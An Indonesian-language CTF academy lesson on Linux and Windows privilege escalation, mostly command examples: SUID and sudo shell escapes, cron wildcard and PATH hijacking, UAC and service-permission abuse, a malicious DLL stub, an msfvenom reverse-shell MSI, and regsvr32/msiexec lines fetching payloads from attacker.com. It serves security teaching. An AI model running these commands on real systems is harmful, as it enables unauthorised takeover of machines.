TDCTF Academy Logo TDCTF ACADEMY

8.4.1 Privilege Escalation

Pendahuluan

Privilege Escalation adalah proses meningkatkan hak akses dari user terbatas menjadi user dengan privilege lebih tinggi - biasanya dari user biasa menjadi root di Linux atau administrator di Windows. Fase ini merupakan langkah kritis dalam post-exploitation karena semakin tinggi privilege yang dimiliki, semakin besar kendali atas sistem target.

Setelah mendapatkan akses awal (biasanya sebagai user terbatas melalui web shell, reverse shell, atau layanan rentan), privilege escalation menjadi prioritas utama. Tanpa privilege escalation, kemampuan pentester terbatas: tidak bisa membaca shadow file, tidak bisa menginstal persistence mekanisme, dan tidak bisa melakukan lateral movement secara efektif.

1. Linux Privilege Escalation

1.1 SUID Bit Exploitation

SUID (Set User ID) adalah permission khusus pada file executable Linux yang menyebabkan program berjalan dengan hak pemilik file - bukan user yang menjalankannya. Jika sebuah binary dengan SUID root dapat dieksploitasi, user biasa bisa mendapatkan akses root.

Mendeteksi SUID binary:

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Contoh SUID exploitation:

# SUID pada binary yang memanggil perintah lain
# Binary: /usr/bin/find (SUID root)
/usr/bin/find /home -exec whoami \;
/usr/bin/find /home -exec /bin/sh -p \;

# Binary: /usr/bin/nmap (SUID root, versi lama)
nmap --interactive
nmap> !sh

# Binary: /bin/bash (SUID root)
/bin/bash -p # -p untuk mempertahankan privilege

GTFOBins adalah referensi utama untuk SUID exploitation:

1.2 Sudo Exploitation

Sudo memungkinkan user tertentu menjalankan perintah sebagai user lain. Miskonfigurasi sudo sering menjadi vektor privilege escalation.

Cek kemampuan sudo:

sudo -l

Contoh sudo exploitation:

# User dapat menjalankan python sebagai root
sudo -l
# Output: (root) NOPASSWD: /usr/bin/python3

sudo python3 -c 'import os; os.system("/bin/bash")'

# User dapat menjalankan vi sebagai root
sudo vi
# Di dalam vi: :!bash

# User dapat menjalankan less sebagai root
sudo less /etc/shadow
# Di dalam less: !bash

# LD_PRELOAD exploitation
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/program

Pola sudo yang sering salah konfigurasi:

  • (ALL:ALL) ALL - User memiliki akses root penuh (harus dikonfirmasi)
  • (root) NOPASSWD: /usr/bin/python3, /usr/bin/perl, /usr/bin/php - Interpreters dengan NOPASSWD
  • (root) /usr/bin/vim, /usr/bin/less, /usr/bin/more, /usr/bin/man - Tools yang bisa spawn shell

1.3 Kernel Exploit

Eksploitasi kerentanan kernel Linux untuk privilege escalation. Ini adalah metode paling berbahaya karena bisa menyebabkan system crash.

Deteksi kernel version:

uname -a
cat /proc/version
cat /etc/os-release

Cari exploit kernel yang sesuai:

# Cari dengan searchsploit
searchsploit linux kernel 5.8
searchsploit "linux kernel" local privilege escalation

# Atau cari di Exploit-DB untuk kernel spesifik

Contoh kernel exploit terkenal:

  • Dirty Cow (CVE-2016-5195) - Race condition pada COW mechanism (kernel 2.6.22+)
  • PwnKit (CVE-2021-4034) - Buffer overflow di pkexec (pkexec polkit)
  • Dirty Pipe (CVE-2022-0847) - Arbitrary file overwrite di kernel 5.8+
  • CVE-2023-2640 / CVE-2023-32629 - Ubuntu OverlayFS privilege escalation
  • CVE-2024-1086 - Use-after-free di Netfilter nf_tables

Mengkompilasi dan menjalankan kernel exploit:

# Compile exploit C di target
gcc exploit.c -o exploit -lpthread
gcc exploit.c -o exploit -lutil

# Transfer exploit ke target
# Dari attacker:
python3 -m http.server 8000
# Dari target:
wget http://192.168.1.100:8000/exploit
curl http://192.168.1.100:8000/exploit -o exploit

chmod +x exploit
./exploit

1.4 Cron Job Exploitation

Cron job adalah scheduled task di Linux. Jika script atau binary yang dijalankan oleh cron root dapat ditulis oleh user biasa, privilege escalation dimungkinkan.

Mendeteksi cron job:

cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
cat /var/spool/cron/crontabs/* 2>/dev/null

Teknik eksploitasi cron job:

  1. Wildcard injection:

    # Script backup: tar czf /backup/backup.tar.gz /var/www/*
    # Buat file dengan nama yang mirip flag
    touch -- "--checkpoint=1"
    touch -- "--checkpoint-action=exec=shell.sh"
    echo '#!/bin/bash' > shell.sh
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> shell.sh
    # Saat cron berjalan, tar menjalankan shell.sh
  2. Writeable script path:

    # Cari script yang dijalankan root tapi bisa ditulis user
    ls -la /usr/local/bin/backup.sh
    # Jika writeable: tambahkan perintah berbahaya
    echo 'cp /bin/bash /tmp/shell; chmod +s /tmp/shell' >> /usr/local/bin/backup.sh
  3. PATH hijacking:

    # Script cron menjalankan perintah tanpa path absolut
    # Script: "tar czf backup.tar.gz /home"
    # Buat tar palsu di direktori yang bisa ditulis
    echo '#!/bin/bash' > /tmp/tar
    echo 'cp /bin/bash /tmp/rootsh; chmod +s /tmp/rootsh' >> /tmp/tar
    chmod +x /tmp/tar
    export PATH=/tmp:$PATH

1.5 Capabilities Exploitation

Linux capabilities memberikan subset privilege root ke binary tanpa SUID penuh. Miskonfigurasi capabilities bisa dieksploitasi.

# Cari binary dengan capabilities
getcap -r / 2>/dev/null

# Contoh: python3 dengan cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Contoh: tcpdump dengan cap_net_raw+ep
# Membaca file sensitif via -z flag
tcpdump -i any -w /tmp/dump.pcap -z /bin/bash

1.6 Shared Library Hijacking

Jika binary menggunakan shared library yang bisa ditulis atau path library yang bisa dimanipulasi.

# Cek library yang di-load binary
ldd /usr/local/bin/program

# Cari library yang bisa ditulis
find / -type f -perm -o+w -name "*.so*" 2>/dev/null

# Atau arahkan LD_PRELOAD (jika diizinkan)
export LD_PRELOAD=/tmp/evil.so
./vulnerable_binary

2. Windows Privilege Escalation

2.1 UAC Bypass

User Account Control (UAC) adalah mekanisme keamanan Windows yang meminta konfirmasi untuk tindakan administratif. UAC dapat di-bypass dalam beberapa kondisi.

AutoElevate bypass: Beberapa binary Windows memiliki manifest "autoElevate" yang otomatis berjalan sebagai administrator tanpa prompt UAC.

# Binary autoElevate contoh: fodhelper.exe, eventvwr.exe
# Bypass dengan memodifikasi registry
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
fodhelper.exe

Teknik UAC bypass lainnya:

  • CMSTP bypass - Memanfaatkan Microsoft Connection Manager Profile Installer
  • DLL hijacking pada trust bypass - Memanfaatkan binary yang trusted publisher
  • Token duplication - Duplikasi token administrator dari proses elevated

2.2 Unquoted Service Path

Windows service dengan path yang mengandung spasi dan tidak dikuotasi bisa dieksploitasi untuk menjalankan binary berbahaya.

Mendeteksi unquoted service paths:

# CMD
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

# PowerShell
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }

Cara kerja eksploitasi:

# Service path: C:\Program Files\My App\service.exe
# Windows mencari binary dalam urutan berikut:
# 1. C:\Program.exe
# 2. C:\Program Files\My.exe
# 3. C:\Program Files\My App\service.exe

# Jika folder C:\Program Files\My App\ bisa ditulis,
# letakkan service.exe jahat di folder tersebut

2.3 DLL Hijacking

DLL Hijacking memanfaatkan urutan pencarian DLL Windows untuk memuat DLL berbahaya.

Urutan pencarian DLL Windows:

  1. Direktori aplikasi
  2. System32
  3. System
  4. Windows directory
  5. Current directory
  6. %PATH% environment variable

Langkah DLL Hijacking:

  1. Monitor proses target dengan Process Monitor (ProcMon)
  2. Filter untuk operasi NAME NOT FOUND di direktori yang dapat ditulis
  3. Identifikasi DLL yang dimuat dari lokasi yang tidak aman
  4. Buat DLL berbahaya dengan nama yang sama
  5. Restart service atau tunggu aplikasi memuat DLL

Contoh DLL stub berbahaya:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net localgroup administrators user /add");
system("cmd.exe /c whoami > C:\\Users\\Public\\proof.txt");
}
return TRUE;
}

2.4 Service Permissions Exploitation

Service Windows yang dapat dimodifikasi oleh user non-admin bisa diarahkan ke binary berbahaya.

# Cek permission service
sc sdshow ServiceName
# Atau dengan accesschk dari Sysinternals
accesschk64.exe -uwcqv "Users" *

# Jika user memiliki SERVICE_CHANGE_CONFIG:
sc config ServiceName binPath= "cmd.exe /k net localgroup administrators user /add"
sc stop ServiceName
sc start ServiceName

# Jika user memiliki SERVICE_STOP dan SERVICE_START:
sc stop ServiceName
sc config ServiceName binPath= "C:\\malicious.exe"
sc start ServiceName

2.5 AlwaysInstallElevated

Jika registry AlwaysInstallElevated diaktifkan, installer MSI dapat dijalankan dengan hak SYSTEM.

# Cek registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Jika keduanya bernilai 1, buat MSI berbahaya
# Dengan Metasploit:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
-f msi -o malicious.msi

# Atau dengan wine32/msitools:
msitool malicious.msi

2.6 Token Impersonation

Windows menggunakan token untuk mengidentifikasi hak akses user. Token tertentu dapat di-impersonate untuk mendapatkan privilege lebih tinggi.

# Cek token yang tersedia (dengan meterpreter)
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"

# Dengan JuicyPotato/RoguePotato
# Memanfaatkan SeImpersonatePrivilege atau SeAssignPrimaryTokenPrivilege
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t *

3. Automated Enumeration Tools

3.1 LinPEAS (Linux)

LinPEAS adalah script enumerasi Linux otomatis yang mendeteksi vektor privilege escalation.

# Download dan jalankan
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Kirim output ke file
./linpeas.sh -a > linpeas_output.txt

# Baca hasil dengan fokus pada warna:
# Merah = Kerentanan kritis
# Kuning = Informasi penting
# Cyan = Informasi umum

Apa yang diperiksa LinPEAS:

  • SUID/SGID binary dan GTFOBins
  • Sudo misconfiguration
  • Kernel exploit yang mungkin
  • Cron job dan writeable scripts
  • World-writeable files dan folders
  • Linux capabilities
  • Password dalam file konfigurasi
  • Network connections
  • Process yang berjalan

3.2 WinPEAS (Windows)

WinPEAS adalah enumerator Windows yang mendeteksi potensi privilege escalation.

# Download WinPEAS.exe
# Jalankan dari command prompt
winpeas.exe

# Jalankan dengan output ke file
winpeas.exe > winpeas_output.txt

# Mode cepat
winpeas.exe cmd fastsearch

Modul WinPEAS:

  • System Information - OS version, patches, hotfixes
  • UAC configuration - UAC level, AlwaysInstallElevated
  • Services - Permissions, unquoted paths, binary permissions
  • Applications - Installed software, DLL hijacking opportunities
  • Registry - AutoRun entries, writable registry hives
  • Network - Shares, firewall rules, DNS configuration
  • Credentials - Stored passwords, SAM, LSA secrets

3.3 GTFOBins

GTFOBins (https://gtfobins.github.io/) adalah database fungsi yang dapat dieksploitasi dari binary Linux/Unix legal untuk melewati security restriction.

Kategori fungsi yang dieksploitasi:

  • Shell - Mendapatkan shell interaktif
  • SUID - Mempertahankan SUID privilege
  • Sudo - Mengeksekusi sebagai root via sudo
  • File read - Membaca file di luar izin user
  • File write - Menulis file di luar izin user
  • Download/Upload - Transfer file

3.4 LOLBAS

LOLBAS (Living Off The Land Binaries and Scripts) adalah database binary, script, dan library Windows yang dapat digunakan untuk tujuan berbahaya.

Kategori LOLBAS:

  • Execution - Binary yang dapat mengeksekusi kode
  • Persistence - Binary untuk persistensi
  • Credential theft - Binary untuk mencuri kredensial
  • Lateral movement - Binary untuk pergerakan lateral
  • Defense evasion - Binary untuk menghindari deteksi
  • Privilege escalation - Binary untuk meningkatkan privilege

Contoh LOLBAS untuk privilege escalation:

# regsvr32 - execute COM scriptlets
regsvr32 /s /n /u /i:http://attacker.com/evil.sct scrobj.dll

# msiexec - execute MSI
msiexec /q /i http://attacker.com/evil.msi

# rundll32 - execute DLL
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('test')

4. Checklist Privilege Escalation

Gunakan checklist ini saat melakukan privilege escalation:

Linux:

  • SUID binary scanning
  • Sudo misconfiguration check (sudo -l)
  • Kernel version and available exploits
  • Cron jobs analysis
  • World-writeable files and directories
  • Linux capabilities
  • Password in config files (grep -r "password" /etc/)
  • NFS share exploitation
  • Docker/LXC container escape
  • LXD group membership

Windows:

  • Service permissions (Service Control Manager)
  • Unquoted service paths
  • DLL hijacking opportunities
  • UAC configuration and bypass
  • AlwaysInstallElevated check
  • Token manipulation (SeImpersonate, SeAssignPrimaryToken)
  • Registry autoruns
  • Stored credentials (Credential Manager)
  • Unattend.xml and other config files with passwords
  • Modifiable service binaries

Kesimpulan

Privilege escalation adalah keterampilan esensial dalam post-exploitation. Pendekatan sistematis - dimulai dari enumerasi menyeluruh, identifikasi vektor eskalasi, hingga eksekusi exploit - adalah kunci keberhasilan. Tools seperti LinPEAS dan WinPEAS mempercepat enumerasi, sementara GTFOBins dan LOLBAS menyediakan referensi untuk teknik eksploitasi pada binary legal. Yang terpenting: jangan terburu-buru ke kernel exploit - selalu mulai dari teknik yang paling sederhana dan paling stabil terlebih dahulu.

PADA HALAMAN INI